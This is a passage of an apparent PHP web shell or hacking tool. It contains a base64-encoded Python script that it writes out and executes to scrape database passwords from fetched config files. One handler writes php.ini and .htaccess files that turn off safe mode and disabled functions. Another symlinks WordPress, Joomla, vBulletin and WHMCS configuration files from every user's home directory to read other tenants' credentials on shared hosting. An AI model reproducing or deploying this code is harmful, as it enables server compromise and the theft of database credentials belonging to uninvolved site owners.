gICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST['url'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink ('cp.py');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['matikan']=='sekatan'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['mendapatkan']=='passwd'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$fn = $_POST['foldername'];
//all function here
function syml($usern,$pdomain)
{
symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
